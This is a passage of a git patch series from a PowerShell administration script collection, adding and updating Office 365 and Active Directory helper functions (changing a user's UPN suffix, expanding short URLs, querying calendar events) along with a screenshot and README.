z$33hSz>Za$^#TH{S4FI|RGL9A@Ffd9@Z({fq!N)FM@oF}nWfiT+RvEqXp_`{<033D z=A$~o=4}h#P@l`UR?qBpgzexFblkm#soZcRwyfVpnuft&$GqyMo~WI94ckYi!Qmf61#Ifzi&&b#sgV2QGXz+XT0?#I6S@6jVHl^}>Jj9yxw+6GW3w9X zqd1rthpqzXfb^{OgE+-V695Pajx(>CGxy9)sAh2?>SH%psDaqiC=>?ti6P<3MH}leU#z^rKVU&2n3!!B8pB8~dnJU)-#*b+QuqhBy{I5Y* z=vQ|aoXHJfN4;piy~c8f2Ucn6d+!XY#KazPIeB)F^-ra2=?%-aNR+trozGNM-N^`P z4^b}P6E3Z2$IA7T4uW&m%+mZy^^pr-E`8)0-CN_nD5QFe)9!Azw3sipgLX^d^YjDS z*f()5ZYGthim%6hmV})`br-_ZRYCQfw;qvI?7pJ)BGe8M%LRUtz7^3~~7M1_uAR zOI+J5jRtmrJeq7_lx$W5J9TVL)ven9qH5yo6$;|{m8vX&12O%6?O7oNkkz@e2#w0( zw9}Ty7XYF<;lK?H4W#}Lj?S;zfWkM`8ip)eRZ4+2^z*hM?-q87R16Z-kijUbN^>Z`zSM^$050cwS=fQ z#s{=@$N+-7Y@JLEO+$6U-=|7((@Vum*?g?4Zn`JHx16tt1RG*{C2N)=558(|-S%+7 zTlNP94i;nE$6v)6|0sqiNeh5QS}1^u`YXzGy62eSQ{t8o*-0oH!E0c1eax2qSshx$ zyNHd%YnnqCLl~0>5h`nZAap9CxsicTM^4CTgEfl4dz!(~;a+C;-_`B(1qVx4;w*9x zqQ*;5z*0QQhjan9|4_pJpe8Lvz6(V!rjgK_`bd X72_2_Y+~C{Zb96!hN!E|BEk literal 0 HcmV?d00001 From fdffbe07aca20e2326c7bd156b605524602a0295 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Wed, 13 Apr 2016 15:04:59 -0400 Subject: [PATCH 098/561] Create Update-O365UserUPNSuffix.ps1 --- .../Update-O365UserUPNSuffix.ps1 | 160 ++++++++++++++++++ 1 file changed, 160 insertions(+) create mode 100644 O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 diff --git a/O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 b/O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 new file mode 100644 index 00000000..515e91fd --- /dev/null +++ b/O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 @@ -0,0 +1,160 @@ +function Update-O365UserUPNSuffix +{ +<# + .SYNOPSIS + Function to correct the UPN of a user in Office365 (O365) and Active Directory (AD) + + .DESCRIPTION + Function to correct the UPN of a user in Office365 (O365) and Active Directory (AD). + Once modified you might want to force the sync between AD and O365 to make sure the object + are correctly synced. + + This function is used to correct user accounts mismatch or most likely used + in environment where User conversion from Contractor to Permanent requires + a change of UPN. Example: test.user@ContosoConsultant.com to test.user@Contoso.com + + For the Office 365 UPN, This script will be first changed to the + .onmicrosoft.com UPN, then change to the new UPN specified by the user. + This is needed to avoid some issues I encountered in the past. + + .PARAMETER UserAlias + Specifies the User Alias, typically what is in front of the '@' of the current + UPN. Example Bob.Marley + + .PARAMETER CurrentUPNSuffix + Specifies the current UPN Suffix. Default is 'ContosoConsultant.com' + + .PARAMETER NewUPNSuffix + Specifies the new UPN suffix to apply. Default is 'Contoso.com' + + .PARAMETER TenantUPNSuffix + Specifies the Tenant UPN Suffix. Default is 'contoso.onmicrosoft.com' + + .PARAMETER DomainController + Specifies the Domain Controller on which the Active Directory modification will + occur. + + .PARAMETER Credential + Specifies the credential to use for ActiveDirectory changes + + .EXAMPLE + Update-O365UserUPNSuffix ` + -Verbose ` + -Credential $cred ` + -UserAlias 'perm.test' ` + -CurrentUPNSuffix 'ContosoConsultant.com' ` + -NewUPNSuffix 'Contoso.com' ` + -TenantUPNSuffix 'Contoso.onmicrosoft.com' ` + -DomainController 'DC01.Contoso.com' + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + github.com/lazywinadmin +#> + + [CmdletBinding()] + [OutputType([pscustomobject])] + param + ( + [Parameter(Mandatory = $true)] + [String]$UserAlias, + + [Parameter(Mandatory = $true)] + [String]$CurrentUPNSuffix, + + [Parameter(Mandatory = $true)] + [String]$NewUPNSuffix, + + [Parameter(Mandatory = $true)] + [String]$TenantUPNSuffix, + + [Parameter(Mandatory = $true)] + [String]$DomainController, + + [System.Management.Automation.Credential()] + [Alias('RunAs')] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + BEGIN + { + TRY + { + $CurrentUPN = $("$UserAlias@$CurrentUPNSuffix") + $TemporaryUPN = $("$UserAlias@$TenantUPNSuffix") + $NewUPN = $("$UserAlias@$NewUPNSuffix") + + # Exchange Online - Validate we find the user + Write-Verbose -Message "[BEGIN] Current Information" + if (Get-MsolDomain) + { + $MSOLUserBefore = Get-MsolUser -UserPrincipalName $CurrentUPN -ErrorAction Stop + } + else + { + Write-Error "[BEGIN] Does not seem connected to Office365" + break + } + + # Active Directory - Validate we find the user + $ADUserBefore = (Get-ADuser -LDAPFilter "(UserPrincipalName=$CurrentUPN)" -Server $DomainController -ErrorAction Stop) + + if (-not ($ADUserBefore)) + { Write-Error -Message "[BEGIN] Can't find this user in AD" } + + [pscustomobject]@{ + State = 'BEFORE' + UserAlias = $UserAlias + SID = $ADUserBefore.SID + UPN_in_AD = $ADUserBefore.UserPrincipalName + UPN_in_O365 = $MSOLUserBefore.UserPrincipalName + } + } + CATCH + { + $Error[0].Exception.Message + } + } + PROCESS + { + TRY + { + Write-Verbose -Message "[PROCESS] Processing changes" + $Splatting = @{ } + + if ($PSBoundParameters['Credential']) { $Splatting.credential = $Credential } + + # Set the current MSOL user to the default OnMicrosoft.com UPN Suffix + Set-MsolUserPrincipalName -UserPrincipalName $CurrentUPN -NewUserPrincipalName $TemporaryUPN -ErrorAction Stop | Out-Null + # Set the user to the new UPN Suffix + Set-MsolUserPrincipalName -UserPrincipalName $TemporaryUPN -NewUserPrincipalName $NewUPN -ErrorAction Stop | Out-Null + + # Set UPN on the Active Directory User + Get-ADUser @splatting -LDAPFilter "(UserPrincipalName=$CurrentUPN)" -Server $DomainController | + Set-ADUser @splatting -UserPrincipalName $NewUPN -server $DomainController -ErrorAction Stop + + + # Post Change + Start-Sleep -Seconds 5 + $MSOLUserAfter = Get-MsolUser -UserPrincipalName $NewUPN + $ADUserAfter = Get-ADUser @splatting -LDAPFilter "(UserPrincipalName=$NewUPN)" -Server $DomainController + [pscustomobject]@{ + State = 'AFTER' + UserAlias = $UserAlias + SID = $ADUserAfter.SID + UPN_in_AD = $ADUserAfter.UserPrincipalName + UPN_in_O365 = $MSOLUserAfter.UserPrincipalName + } + } + CATCH + { + $Error[0].Exception.Message + } + } + END + { + Write-Warning -Message "[END] You might want to initiate the DirSync between AD and O365 or wait for next sync" + } +} From ee43fa97d341f53b8e47b9922572bcb824e1319a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Tue, 19 Apr 2016 15:13:20 -0400 Subject: [PATCH 099/561] Create Resolve-ShortURL --- TOOL-Resolve-ShortURL/Resolve-ShortURL | 41 ++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 TOOL-Resolve-ShortURL/Resolve-ShortURL diff --git a/TOOL-Resolve-ShortURL/Resolve-ShortURL b/TOOL-Resolve-ShortURL/Resolve-ShortURL new file mode 100644 index 00000000..84df88f5 --- /dev/null +++ b/TOOL-Resolve-ShortURL/Resolve-ShortURL @@ -0,0 +1,41 @@ +function Resolve-ShortURL +{ +<# + .SYNOPSIS + Function to resolve a short URL to the absolute URI + + .DESCRIPTION + Function to resolve a short URL to the absolute URI + + .PARAMETER ShortUrl + Specifies the ShortURL + .EXAMPLE + Resolve-ShortURL -ShortUrl http://goo.gl/P5PKq + .EXAMPLE + Resolve-ShortURL -ShortUrl http://go.microsoft.com/fwlink/?LinkId=280243 + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadm + github.com/lazywinadmin +#> + + [CmdletBinding()] + [OutputType([System.String])] + param + ( + [String[]]$ShortUrl + ) + + FOREACH ($URL in $ShortUrl) + { + TRY + { + (Invoke-WebRequest -Uri $URL -MaximumRedirection 0 -ErrorAction Ignore).Headers.Location + } + CATCH + { + + } + } +} From 1bcccfc34037e2e73e8878b6b643dcb772136e5d Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 19 Apr 2016 20:56:00 -0400 Subject: [PATCH 100/561] Update Get-O365CalendarEvent --- .../O365-Get-O365CalendarEvent.ps1 | 49 ++++++++++++------- 1 file changed, 32 insertions(+), 17 deletions(-) diff --git a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 index 08315daa..777e900c 100644 --- a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 +++ b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 @@ -11,60 +11,75 @@ .PARAMETER EmailAddress Specifies the mailbox email address to query. Default is the current user - Example: info@lazywinadmin.com + Example: info@lazywinadmin.com .PARAMETER StartDateTime Specifies the Start Date Time - The UTC date and time when the event starts. (datetimeoffset) - Default is now. + The UTC date and time when the event starts. (datetimeoffset) + Default is now. .PARAMETER EndDateTime Specifies the End Date Time - The UTC date and time when the event ends. (datetimeoffset) - Default is next week (7 days). + The UTC date and time when the event ends. (datetimeoffset) + Default is next week (7 days). .PARAMETER Credential Specifies alternative credentials - By default it will use the current user. + By default it will use the current user. + + .PARAMETER PageResult + Specifies the number of items to return. Max is 50. .EXAMPLE PS C:\> Get-O365CalendarEvent - + Get the calendar Events of the next coming week for the current user. .EXAMPLE PS C:\> Get-O365CalendarEvent -EmailAddress info@lazywinadmin.com -Credential (Get-Credential) | Select-Object -Property Subject, StartTimeZone, Start, End, @{L="Attendees";E={$psitem.attendees.emailaddress | Select-Object -Property name -Unique|Sort}} - - Get the calendar Events Subject, StartTimeZone,Start, End, Attendees for the last 7 days + + Get the calendar Events Subject, StartTimeZone,Start, End, Attendees for the last 7 days + + .EXAMPLE + Get-O365CalendarEvent -EmailAddress info@lazywinadmin.com -Credential $cred -StartDateTime $((Get-Date).adddays(-50)) -PageResult 15 + .NOTES Francois-Xavier Cat www.lazywinadmin.com @lazywinadm + github.com/lazywinadmin + # More about the Calendar operations https://msdn.microsoft.com/office/office365/api/calendar-rest-operations + + # Filter/Sorting/Top/Order + https://msdn.microsoft.com/office/office365/APi/complex-types-for-mail-contacts-calendar#UseODataqueryparametersPageresults #> + [CmdletBinding()] - PARAM ( + param + ( [String]$EmailAddress, - [datetime]$StartDateTime = (Get-Date), - [datetime]$EndDateTime = ((Get-Date).adddays(7)), - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty + $Credential = [System.Management.Automation.PSCredential]::Empty, + [ValidateNotNullOrEmpty()] + [ValidateRange(1, 50)] + $PageResult = '10' ) + PROCESS { $Splatting = @{ Credential = $Credential - Uri = "https://outlook.office365.com/api/v1.0/users/$EmailAddress/calendarview?startDateTime=$StartDateTime&endDateTime=$EndDateTime" + Uri = "https://outlook.office365.com/api/v1.0/users/$EmailAddress/calendarview?startDateTime=$StartDateTime&endDateTime=$($EndDateTime)&`$top=$PageResult" } if (-not $PSBoundParameters['EmailAddress']) { #Query the current User - $Splatting.Uri = "https://outlook.office365.com/api/v1.0/me/calendarview?startDateTime=$StartDateTime&endDateTime=$EndDateTime" + $Splatting.Uri = "https://outlook.office365.com/api/v1.0/me/calendarview?startDateTime=$StartDateTime&endDateTime=$($EndDateTime)&`$top=$PageResult" } Invoke-RestMethod @Splatting | Select-Object -ExpandProperty Value } -} +} \ No newline at end of file From 4f8dd545eaa9e2d4fceb96c8e8bdcd080c472afe Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 19 Apr 2016 21:20:26 -0400 Subject: [PATCH 101/561] Add screenshot --- .../images/Get-O365CalendarEvent.png | Bin 0 -> 9716 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 O365-Get-O365CalendarEvent/images/Get-O365CalendarEvent.png diff --git a/O365-Get-O365CalendarEvent/images/Get-O365CalendarEvent.png b/O365-Get-O365CalendarEvent/images/Get-O365CalendarEvent.png new file mode 100644 index 0000000000000000000000000000000000000000..e0f5611e2ff4ebd9139ab1d03cf3c5fc94e93914 GIT binary patch literal 9716 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 J72?K0{{;odTF?Lh literal 0 HcmV?d00001 From a157e4d11fadac498852a1dddde9b71e5542d6eb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Tue, 19 Apr 2016 21:26:42 -0400 Subject: [PATCH 102/561] Create README.md --- O365-Get-O365CalendarEvent/README.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 O365-Get-O365CalendarEvent/README.md diff --git a/O365-Get-O365CalendarEvent/README.md b/O365-Get-O365CalendarEvent/README.md new file mode 100644 index 00000000..c5be2b56 --- /dev/null +++ b/O365-Get-O365CalendarEvent/README.md @@ -0,0 +1,13 @@ +# Get-O365CalendarEvent + +## Usage +``` powershell +Get-O365CalendarEvent ` + -EmailAddress info@lazywinadmin.com ` + -Credential (Get-Credential) ` + -StartDateTime ((Get-Date).adddays(-5)) ` + -EndDateTime (Get-Date) ` + -PageResult 2|Select-Object -Property Subject, StartTimeZone, Start, End +``` + +![Alt text](/images/Get-O365CalendarEvent.png?raw=true "Get-O365CalendarEvent Example") From 0e561c8e97ad6751e437f9c8358b0922e3a6b81c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Fran=C3=A7ois-Xavier=20Cat?= Date: Tue, 19 Apr 2016 21:27:09 -0400 Subject: [PATCH 103/561] Update README.md --- O365-Get-O365CalendarEvent/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/O365-Get-O365CalendarEvent/README.md b/O365-Get-O365CalendarEvent/README.md index c5be2b56..19c33bcb 100644 --- a/O365-Get-O365CalendarEvent/README.md +++ b/O365-Get-O365CalendarEvent/README.md @@ -10,4 +10,4 @@ Get-O365CalendarEvent ` -PageResult 2|Select-Object -Property Subject, StartTimeZone, Start, End ``` -![Alt text](/images/Get-O365CalendarEvent.png?raw=true "Get-O365CalendarEvent 